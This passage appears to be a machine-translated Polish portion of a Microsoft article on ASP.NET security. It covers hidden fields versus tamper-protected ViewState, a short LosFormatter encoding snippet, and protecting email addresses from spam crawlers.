W klasycznym środowisku ASP ukryte pola są jedynym sposobem utrwalania danych między żądaniami. Wszystkie dane, które należy pobrać w następnym żądaniu, są pakowane w ukryte <pole wejściowe> i zaokrąglone. Co zrobić, jeśli na kliencie ktoś modyfikuje wartości przechowywane w polu? Środowisko po stronie serwera nie ma sposobu na ustalenie go tak długo, jak tekst jest jasny. Właściwość ASP.NET ViewState dla stron i poszczególnych kontrolek służy dwóm celom. Z jednej strony, ViewState jest sposobem utrwalania stanu między żądaniami; z drugiej strony, ViewState umożliwia przechowywanie wartości niestandardowych w chronionym, odpornym na manipulacje polu ukrytym.

Jak pokazano na rysunku 2, stan widoku jest dołączany do wartości skrótu, która jest sprawdzana przy każdym żądaniu wykrywania manipulacji. Nie ma powodu używania ukrytych pól w ASP.NET z wyjątkiem kilku przypadków. Stan widoku jest taki sam w znacznie bardziej bezpieczny sposób. Powiedział z góry, że przechowywanie poufnych wartości, takich jak ceny lub szczegóły karty kredytowej w jasnym ukrytym polu, jest jak pozostawienie drzwi otwartych dla hakerów, stan widoku nawet sprawi, że ta zła praktyka będzie mniej niebezpieczna niż wcześniej ze względu na mechanizm ochrony danych. Należy jednak pamiętać, że stan widoku uniemożliwia manipulowanie, ale nie gwarantuje poufności, chyba że je szyfrujesz — dlatego szczegóły karty kredytowej przechowywane w stanie widoku są mimo to zagrożone.

Kiedy dopuszczalne jest używanie ukrytych pól w ASP.NET? Podczas tworzenia kontrolek niestandardowych, które muszą wysyłać dane z powrotem do serwera. Załóżmy na przykład, że tworzysz nową kontrolkę DataGrid , która obsługuje zmienianie kolejności kolumn. Należy przekazać nowe zamówienie z powrotem do serwera w przypadku ogłaszania zwrotnego. Gdzie jeszcze można przechowywać te informacje, jeśli nie do ukrytego pola?

Jeśli ukryte pole jest polem do odczytu/zapisu — oznacza to, że klient ma go zapisać — nie ma wiele możliwości, aby to zrobić, jest to dowód hakera. Możesz spróbować skrótu lub szyfrować tekst, ale nie da to żadnej rozsądnej pewności, że nie jest hacked. Najlepszą obroną jest to, aby ukryte pole zawierało obojętne i nieszkodliwe informacje.

To powiedzenie, warto zauważyć, że ASP.NET ujawnia mało znaną klasę, która może służyć do kodowania i skrótu dowolnego serializowanego obiektu. Klasa jest LosFormatter i jest tą samą klasą używaną przez implementację ViewState w celu utworzenia zakodowanego tekstu zaokrąglonych do klienta.

private string EncodeText(string text) {
  StringWriter writer = new StringWriter();
  LosFormatter formatter = new LosFormatter();
  formatter.Serialize(writer, text);
  return writer.ToString();
}

W poprzednim fragmencie kodu pokazano, jak za pomocą klasy LosFormatter utworzyć zawartość przypominającą stan, zakodowaną i skrótową.

Wiadomości e-mail i spam

Aby zakończyć ten artykuł, pozwól mi wskazać, że co najmniej dwa z najbardziej typowych ataków — klasyczny XSS i jeden kliknięcie — są często prowadzone przez inducing niczego nie podejrzewających ofiar, aby kliknąć intrygujące i fałszowane linki. Wiele razy takie linki znajdują się bezpośrednio w naszej skrzynce odbiorczej, filtrach chroniących przed spamem, niezależnie od tego. Woluminy adresów e-mail można kupić za kilka dolarów. Jedną z głównych technik służących do tworzenia takich list jest skanowanie stron publicznych w witrynach sieci Web, które szukają i chwytają wszystko, co wygląda jak adres e-mail.

Jeśli na stronie zostanie wyświetlony adres e-mail, prawdopodobieństwo, że wcześniej lub później zostanie złapany przez roboty internetowe. Naprawdę? Cóż, zależy to od sposobu wyświetlania adresu e-mail. Jeśli kodujesz go na stałe, tracisz. Jeśli uciekasz się do alternatywnych reprezentacji, takich jak dino-at-microsoft-dot-com, nie jest jasne, jeśli naprawdę oszukasz robota internetowego; na pewno zirytujesz każdego człowieka czytającego stronę, który chce ustanowić legalny kontakt.

Ogólnie rzecz biorąc, należy ustalić sposób dynamicznego generowania adresu e-mail jako linku mailto . Jest to dokładnie to, co robi bezpłatny składnik napisany przez Marco Bellinaso. Możesz pobrać go z pełnym kodem źródłowym z witryny internetowej DotNet2TheMax .

Podsumowanie

Czy ktoś wątpi, że sieć Web jest prawdopodobnie najbardziej wroga dla wszystkich środowisk uruchomieniowych? Wynika to z faktu, że każdy może uzyskać dostęp do witryny sieci Web i spróbować przekazać je dobre i złe dane. Czy jednak naprawdę warto utworzyć aplikację internetową, która nie akceptuje danych wejściowych użytkownika?

Przyjrzyjmy się temu: bez względu na to, jak silna jest zapora i jak często stosujesz dostępne poprawki, jeśli korzystasz z aplikacji internetowej z natury podatną na zagrożenia, osoby atakujące będą przechodzić bezpośrednio do centrum systemów przez główne wejście, a mianowicie port 80.

ASP.NET aplikacje nie są bardziej narażone ani bezpieczniejsze niż inne aplikacje internetowe. Zabezpieczenia i luki w zabezpieczeniach wynikają z praktyk kodowania, doświadczenia z dziedziny i pracy zespołowej. Żadna aplikacja nie jest bezpieczna, jeśli sieć nie jest; Podobnie, niezależnie od tego, jak bezpieczna i dobrze zarządzana jest sieć, osoby atakujące zawsze znajdą drogę, jeśli aplikacja zostanie uszkodzona.

Piękno ASP.NET jest to, że zapewnia kilka dobrych narzędzi, aby podnieść pasek zabezpieczeń do przekazywanego poziomu za pomocą kilku kliknięć. Nie jest to jednak wystarczający poziom. Nie należy polegać tylko na ASP.NET wbudowanych rozwiązaniach, ale nie należy ich ignorować. Dowiedz się jak najwięcej o najbardziej typowych atakach.

Ten artykuł zawiera listę wbudowanych funkcji z adnotacjami oraz niektóre podstawowe informacje o atakach i zabezpieczeniach. Techniki wykrywania trwających ataków to kolejna historia i być może wymagają innego artykułu.

Pisanie bezpiecznego kodu autorstwa Michaela Howarda i Davida LeBlanca

TechNet Magazine, kradzież w Internecie: Zapobieganie przejęciom sesji

 

Informacje o autorze

Dino Esposito jest instruktorem Wintellect i konsultantem z siedzibą we Włoszech. Autor programowania microsoft ASP.NET i nowsze Wprowadzenie microsoft ASP.NET 2.0 (zarówno z Microsoft Press), spędza większość czasu na zajęciach dydaktycznych na ASP.NET i ADO.NET i przemawiając na konferencjach. Blog Tour Dino na stronie https://weblogs.asp.net/despos.

© Microsoft Corporation. All rights reserved.